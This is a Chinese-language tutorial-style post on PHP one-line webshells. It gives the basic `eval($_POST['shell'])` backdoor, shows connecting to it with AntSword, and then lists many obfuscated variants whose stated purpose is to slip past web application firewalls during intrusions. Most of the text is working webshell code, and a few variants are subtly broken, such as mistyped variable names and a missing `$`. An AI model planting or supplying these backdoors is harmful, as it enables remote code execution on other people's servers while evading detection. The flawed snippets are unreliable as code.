一句話木馬簡介
一句話木馬就是一段簡單的代碼,就這短短的一行代碼,就能做到和大馬相當的功能。一句話木馬短小精悍,而且功能強大,隱蔽性非常好,在入侵中始終扮演着強大的作用。
一句話木馬工作原理
<?php @eval($_POST['shell']);?>
這是php的一句話后門中最普遍的一種。它的工作原理是:
首先存在一個名為shell
的變量,shell
的取值為HTTP的POST方式。Web服務器對shell
取值以后,然后通過eval()函數執行shell
里面的內容。
實例:
<?php @eval($_POST['shell']);?>
將以上代碼寫入webshell.php文件中然后放在站點目錄下通過瀏覽器訪問,以POST方式傳入shell=phpinfo();
也可以用蟻劍或菜刀等工具連接(我這里用的是蟻劍):
在url地址框中輸入http://127.0.0.1/webshell.php
,在連接密碼框中輸入shell
然后就可以看到目標站點目錄下的文件了
一句話木馬的多種變形
一般的php一句話后門很容易被網站防火牆waf攔截,而waf通常通過判斷關鍵字來辨別一句話木馬,要想繞過waf就需要對木馬進行一些變形。
php變量
<?php
$a = "assert";
$a(@$_POST['shell']);
?>
第三行使用了變量函數$a,變量儲存了函數名asse,便可以直接用變量替代函數名。
php變量簡單變形1
<?php
$a="TR"."Es"."sA";
$b=strtolower($a);
$c=strrev($b);
@$c($_POST['shell']);
?>
使用字符串拼接、大小寫混淆、字符串逆序組合而成
php變量簡單變形2
<?php
$a="AssERT";
$b=strtolower($a);
@$b($_POST['shell']);
?>
使用大小寫混淆配合字符串轉小寫函數strtolower組合而成
PHP可變變量
<?php
$bb="assert";
$a='bb';
$$aa($_POST['shell']);
?>
以上代碼可表示為$$aa = $($aa) = $ (‘bb’) = $bb = "assert"
自定義函數
<?php
function fun($a){
@eval($a);
}
@fun($_POST['shell']);
?>
使用function自定義函數,然后函數來調用eval函數
create_function函數
<?php
$fun = create_function('',$_POST['shell']);
$fun();
?>
創建了一個匿名函數,並返回了一個獨一無二的函數名,然后再調用此函數
call_user_func()函數
<?php
@call_user_func(assert,$_POST['shell']);
?>
call_user_func()函數的第一個參數是被調動的函數,剩下的參數(可有多個參數)是被調用函數的參數
base64_decode 函數
<?php
$a=base64_decode("YXNzZXJ0");
@a($_POST['shell']);
?>
YXNzZXJ0
是assert的base64編碼,base64_decode()
是base64解密函數
preg_replace函數
<?php
function fun(){
return $_POST['shell'];
}
@preg_replace("/test/e", fun(), "test123");
?>
preg_replace
函數一個參數是一個正則表達式,按照 php的格式,表達式在兩個/之間,如果在表達式末尾加上一個 e,則第二個參數就會被當做 php代碼執行。
pares_str函數
<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>
執行pares_str函數后可以生成一個名為$a,值為"eval"的變量。
str_replace函數
<?php
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>
此函數用於將第三個參數中的第一個參數替換為第二個參數
以上的POST也可替換成GET,但同時shell的傳遞方式也要改為GET形式,在使用一句話木馬時,也可以在前面加一個@來屏蔽錯誤,增加其隱蔽性。
總結:一句話木馬的變換方式還有很多種,本小白也是淺淺的總結了一下。